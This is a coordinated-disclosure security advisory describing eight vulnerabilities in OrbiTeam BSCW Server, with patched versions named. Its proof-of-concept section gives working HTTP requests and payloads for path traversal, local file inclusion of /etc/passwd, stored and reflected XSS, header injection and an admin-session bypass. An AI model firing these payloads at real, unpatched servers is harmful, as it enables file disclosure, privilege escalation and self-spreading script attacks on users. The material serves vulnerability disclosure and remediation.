OrbiTeam BSCW Server versions 5.0.x, 5.1.x, 5.2.4 and below, 7.3.x and below, and 7.4.3 and below suffer from path traversal, cross site scripting, HTTP header, session object manipulation, local file inclusion, and user enumeration vulnerabilities.
aada2321c23dead6cdd9035042f028d2SEC Consult Vulnerability Lab Security Advisory < 20211202-0 >
=======================================================================
title: Multiple vulnerabilities in BSCW Server
product: OrbiTeam BSCW Server
vulnerable version: BSCW Server 5.0.x, 5.1.x, <=5.2.4, <=7.3.x, <=7.4.3
fixed version: 5.2.5, 7.4.4
CVE number: requested/pending
impact: Critical
homepage: https://www.bscw.de/
found: 2021-09-05
by: Armin Stock (Atos ODS)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos company
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"BSCW Classic is in use around the world. With more than 500 functions, it
offers the right solution for every task. Turn your ideas into reality! Our
proven system has been supporting information flow and knowledge management at
numerous companies for more than 20 years."
Source: OrbiTeam - BSCW Server: https://www.bscw.de/en/
Business recommendation:
------------------------
The vendor provides a patched version for the affected products which should
be installed immediately.
Vulnerability overview/description:
-----------------------------------
1) Authenticated path traversal allows access to local files
The operation `addtempl` does allow a user to add files from a template
directory on the server. It accepts the parameter `template`, which is used to
create the path of the file. The only security mechanism to prevent a path
traversal attack is `template.replace("../", "")`. This can easily be bypassed,
by specifying a value like `....//`.
2) Authenticated wormable stored XSS
The operation `chbanner` allows a user to change the banner of some objects.
The banner data does support different text formats.
-------------------------------------------------------------------------------
# File: bscw/core/bs_txtformat.py
format_text = 1
format_textpre = 2
format_html = 4
format_bbcode = 8
format_wiki = 16
-------------------------------------------------------------------------------
Using the format `textpre - 2` allows the user to include a limited set of HTML
tags in the banner.
Validation of the provided data is as follows:
* Use the `Python` module `HTMLParser.HTMLParser` to parse the provided data
* Override `handle_starttag`
* check if tag is in `ValidElements`
* check if an attribute does not start with `on`
* check that the value of the `href` attribute does not start with `javascript:`
One way to exploit this behavior and perform an XSS attack is to reuse
the Dojo Toolkit (https://dojotoolkit.org) and the available types.
3) Multiple HTTP header attacks
The operation `login` does accept the query parameter `returnto`. The value of
this parameter is later used as a value in the HTTP response header `Location`.
As the value is not validated or encoded it is possible to perform several
attacks:
* Open redirect
* HTTP header injection
4) Session object manipulation allows to bypass entering the password for
admin actions
The BSCW server has a check to validate that a user is an actual admin, which
can be summarized as:
Summary of admin check:
* Is the username in the configured `SERVER_ADMINS` array
* Is the remote IP in the configured allow-list
* Has the session object a key `is_admin`
To fulfill the third requirement, the normal way is calling the operation
`admin` and enter the user password.
An attacker with access to an admin session (maybe via XSS) can bypass this
step by using any operation based on the `bscw.core.cl_input.InputBase` class.
This class verifies `POST` requests and the incoming data. If there is something
wrong, it will save the provided data in the `session` object and redirect the
user to the current page. The key, which is used to store the provided data in
the `session` object, is the value of the parameter `session`. This allows an
attacker to set a non-empty value for the `is_admin` key and fulfill the third
requirement of the `is_admin` function.
5) Unauthenticated LFI
The operation `theme` is vulnerable to a local file inclusion attack. It
accepts the query parameter `style_name`, which is used to locate a file and
serve the content. As the parameter is not validated and no restriction is
enforced to serve only files from specific directories it is possible to read
arbitrary files.
But there is a restriction, which files can be accesses as the content of the
file is used as a format string with the `%` operation.
6) Unauthenticated reflected XSS - refresh
The operation `refresh` allows setting arbitrary attributes on the `response`
object. The `response` object is later used to create the actual HTTP response.
Important `response` object attributes:
* `_type` - e.g. `location` used for redirection, `body` set HTTP body to
`body` attribute, `file` serve local file
* `body` - content send as HTTP body, if `_type` == `body`
* `mimetype` - used for the value of the HTTP header `Content-Type`, can also
be used for HTTP header injection
7) Unauthenticated reflected XSS - upload_browser
The operation `upload_browser` accepts the query parameter `CKEditorFuncNum`,
which is reflected in the response. As the value is used inside an existing
`script` block it is possible to inject own `JavaScript` code.
8) Unauthenticated user enumeration
It is possible to enumerate all usernames registered on the BSCW server. This
information can later be used for password-based attacks.
If the verification of the session token fails, a error message is shown to the
user that he needs to re-authenticate. This message does contain the username
if the provided `USERID` is valid.
Proof of concept:
-----------------
1) Authenticated path traversal allows access to local files
This allows an attacker to add any file from the server's filesystem to its own
folder and download the content afterwards.
-------------------------------------------------------------------------------
POST /sec/bscw.cgi/209?op=_addtempl HTTP/1.1
Host: bscw.local:8080
User-Agent: curl/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 174
Origin: http://bscw.local:8080
DNT: 1
Connection: keep-alive
Referer: http://bscw.local:8080/sec/bscw.cgi/209?op=addtempl
Cookie: MicroblogInboxIndicatorState=%5B0%2C0%5D; MicroblogSlidingPanelDisplayState=%22hidden%22; _sec_bscws="3237cc7f0956a03651500ee5e3254a01:51";
bscw_auth="XPN8djYx/kdqb4t8KopuYS+KkgMzTthB:33"
Upgrade-Insecure-Requests: 1
op=addtempl&bscw_v_post=JoyUiupaaP5QtTJUse%2BD3Vp2IVtkwoTthB&template=....//....//....//....//....//....//....//....//....//....//etc/passwd&name=hello_pwd&description=&_ok_a=+++OK+++
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
GET /sec/bscw.cgi/d2748/hello_pwd HTTP/1.1
....
Response:
HTTP/1.1 200 OK
Date: Wed, 08 Sep 2021 11:44:10 GMT
Server: SimpleHTTP/0.6 Python/2.7.18
Expires: Wed, 08 Sep 2021 09:44:10 GMT
Last-Modified: Wed, 08 Sep 2021 11:43:52 GMT
Etag: "2750.1631101432.958828"
Content-Length: 1049
Content-Type: application/octet-stream
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
openldap:x:101:102:OpenLDAP Server Account,,,:/var/lib/ldap:/bin/false
bscw:x:999:999:BSCW system user:/opt/bscw:/bin/bash
-------------------------------------------------------------------------------
2) Authenticated wormable stored XSS
The following banner code:
-------------------------------------------------------------------------------
<P>hello <div data-dojo-type="dojobscw.operations.HoverToolbarButton"
data-dojo-props="onClick: alert(document.domain)">foo</div>
-------------------------------------------------------------------------------
uses only valid tags an attributes. As it contains `Dojo` specific attributes
it is processed by `Dojo`, which results in executing the provided `JavaScript`
code. Although the attribute name of the payload is `onClick`, it is triggered
just by visiting the site.
As it is possible to change the banner of shared objects like folders, a
malicious user can weaponize a banner, which is shared with other people and
include a self spreading payload. After other users with access to the folder
visit it, the payload gets triggered and can copy itself into all other shared
folders the victim has access to.
3) Multiple HTTP header attacks
3.1) Open redirect
The URL used in the `Location` header can point to any URL, which forces the
user's browser to navigate to an attacker controlled site.
-------------------------------------------------------------------------------
GET /pub/bscw.cgi/306?op=login&returnto=https://www.example.com HTTP/1.1
Host: bscw.local:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Cookie: _pub_bscws="88522409e1509f61abbbf230eed829ad:2"
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
-------------------------------------------------------------------------------
Response:
-------------------------------------------------------------------------------
HTTP/1.1 303 See Other
Date: Thu, 02 Sep 2021 20:24:28 GMT
Server: SimpleHTTP/0.6 Python/2.7.18
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 02 Sep 2021 18:24:28 GMT
Location: https://www.example.com
Content-Type: text/html; charset=UTF-8
-------------------------------------------------------------------------------
3.2) Header injection
As there is no validation at all, it is also possible to inject `\r\n` which
allows an attacker to "create" new HTTP headers in the response. This can for
example be abused to set new cookies.
-------------------------------------------------------------------------------
GET /pub/bscw.cgi/306?op=login&returnto=/%0d%0aSet-Cookie:%20Foo=bar
...
-------------------------------------------------------------------------------
Response:
-------------------------------------------------------------------------------
HTTP/1.1 303 See Other
Date: Thu, 02 Sep 2021 20:29:17 GMT
Server: SimpleHTTP/0.6 Python/2.7.18
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 02 Sep 2021 18:29:17 GMT
Location: http://bscw.local:8080/
Content-Type: text/html; charset=UTF-8
Content-Length: 2425
Set-Cookie: _pub_bscws="6a0d3c1b6810d47d4f57662f9993fceb:2"; expires=Tue, 23 Feb 2027 20:29:17 GMT; httponly; Path=/pub/; Version=1
Set-Cookie: Foo=bar
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
-------------------------------------------------------------------------------
4) Session object manipulation allows to bypass entering the password for
admin actions
After logging in with an admin account the `Admin` menu is disabled.
Set the `is_admin` attribute in the user session:
-------------------------------------------------------------------------------
POST /sec/bscw.cgi/30 HTTP/1.1
Host: bscw.local:8080
User-Agent: curl/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Referer: http://bscw.local:8080/pub/bscw.cgi/30
Cookie: MicroblogSlidingPanelDisplayState=%22hidden%22; MicroblogInboxIndicatorState=%5B0%2C0%5D; bscw_auth="8Uf4+dFG/DGjTdFBFFFVZORIEMH1TthB:33";
_sec_bscws="fa275d74b9ddb381ea238fb9e62578dd:51"
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
op=copylink&id=30&noflash=1&session=is_admin&_ok_.x=+++OK+++
-------------------------------------------------------------------------------
After issuing the above request the `Admin` menu is enabled, without entering
the user password.
5) Unauthenticated LFI
Getting the `/etc/passwd` file via the public interface:
-------------------------------------------------------------------------------
GET /pub/bscw.cgi/30?op=theme&style_name=../../../../../../../../etc/passwd HTTP/1.1
Host: bscw.local:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Cookie: MicroblogInboxIndicatorState=%5B1630932508%2C0%5D; MicroblogSlidingPanelDisplayState=%22hidden%22;
_sec_bscws="ce8ee39692303f447b50560277dd49f9:51"; bscw_auth="Gpx4/TavfN/lApZ7kyIwEH+Fy4aDTdhB:33"; _pub_bscws="6137c54f:0"
Upgrade-Insecure-Requests: 1
-------------------------------------------------------------------------------
Response:
-------------------------------------------------------------------------------
HTTP/1.1 200 CSS
Date: Tue, 07 Sep 2021 20:02:35 GMT
Server: SimpleHTTP/0.6 Python/2.7.18
Cache-Control: no-cache
Pragma: no-cache
Expires: Tue, 07 Sep 2021 18:02:35 GMT
Content-Type: text/css
Vary: Accept-Encoding
Content-Length: 1049
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
openldap:x:101:102:OpenLDAP Server Account,,,:/var/lib/ldap:/bin/false
bscw:x:999:999:BSCW system user:/opt/bscw:/bin/bash
-------------------------------------------------------------------------------
6) Unauthenticated reflected XSS - refresh
Getting an alert box:
-------------------------------------------------------------------------------
GET
/pub/bscw.cgi/30?op=refresh¬ify=1¬ify_args=_type¬ify_args=body¬ify_args=mimetype¬ify_args=encoding&encoding=utf-8%0d%0afoo:%20bar&mimetype=text/html&_type=body&body=<@urlencode><script>alert(document.domain)</script><@/urlencode>
HTTP/1.1
Response:
HTTP/1.1 200 bscw_dialog
Date: Fri, 10 Sep 2021 21:16:35 GMT
Server: SimpleHTTP/0.6 Python/2.7.18
Cache-Control: no-cache
Pragma: no-cache
Expires: Fri, 10 Sep 2021 19:16:35 GMT
Content-Type: text/html
Content-Length: 39
Set-Cookie: _pub_bscws="327c299e8c460787f98700155696c946:2"; expires=Wed, 03 Mar 2027 21:16:35 GMT; httponly; Path=/pub/; Version=1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
<script>alert(document.domain)</script>
-------------------------------------------------------------------------------
7) Unauthenticated reflected XSS - upload_browser
The value gets written to the following block:
-------------------------------------------------------------------------------
<script type="text/javascript">
//<![CDATA[
function CloseWindow(){
window.close();
}
function SetUrl(url){
window.opener.CKEDITOR.tools.callFunction(INJECT_ME, '.');
// ^^^ Clear protocol field
window.opener.CKEDITOR.tools.callFunction(INJECT_ME, url);
}
// ....
//]]>
</script>
-------------------------------------------------------------------------------
To escape the function call and keep the `JavaScript` code valid, which is
required to get executed, the following payload can be used:
`foo)};alert(document.domain);function%20a(){m(a`
The resulting code looks like this:
-------------------------------------------------------------------------------
<script type="text/javascript">
//<![CDATA[
function CloseWindow(){
window.close();
}
function SetUrl(url){
window.opener.CKEDITOR.tools.callFunction(foo)};alert(document.domain);function a(){m(a, '.');
// ^^^ Clear protocol field
window.opener.CKEDITOR.tools.callFunction(foo)};alert(document.domain);function a(){m(a, url);
}
//..
//]]>
</script>
-------------------------------------------------------------------------------
8) Unauthenticated user enumeration
If the verification of the token fails, an error message is shown to the user
that he needs to re-authenticate. This message does contain the username if the
provided `USERID` is valid.
-------------------------------------------------------------------------------
GET /sec/bscw.cgi/2 HTTP/1.1
Host: bscw.local:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Cookie: _sec_bscws="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:264"
Upgrade-Insecure-Requests: 1
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
<p class="hint">
Authenticate yourself for BSCW Shared Workspace Server (sec) at bscw.local.
<br />
<a href="/pub/bscw.cgi?op=chpwd">Forgot your password?</a>
</p>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<th scope="row">
<label for="uname">User name:</label>
</th>
<td>
<span class="strong">foo</span>
<input type="hidden" name="username" value="foo" />
</td>
</tr>
<tr>
<th scope="row">
<label for="pwd">Password:</label>
</th>
<td>
<input class="inputfield" id="pwd" size="40" type="password" name="passwd" value="" />
</td>
</tr>
-------------------------------------------------------------------------------
Vulnerable / tested versions:
-----------------------------
BSCW Classic 5.2.4 was used to find the vulnerability.
The vendor confirmed that following versions also affected by the vulnerability:
BSCW Server 5.0.11, 5.1.9, 5.2.4, 7.3.2, <=7.4.3
Vendor contact timeline:
------------------------
2021-09-11: Sent report to vendor
2021-09-12: Vendor confirmed the issue and is working on a patch
2021-11-13: Vendor notified licensed customer about the issue and a patch
2021-11-25: Requesting CVE numbers (Mitre)
2021-11-26: Got email confirmation from Mitre, but no CVE numbers yet
2021-11-29: Scheduled advisory release for 2021-12-01, coordinated with vendor
2021-12-01: Postponing release because of missing CVE numbers (asked again)
2021-12-02: Release of security advisory without CVE numbers.
Solution:
---------
The vendor provides a patched version v5.2.5 and v7.4.4 for the affected and
supported products which should be installed immediately.
https://www.bscw.de/social/#download
https://www.bscw.de/classic/#download
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult, an Atos company
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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EOF Armin Stock / @2021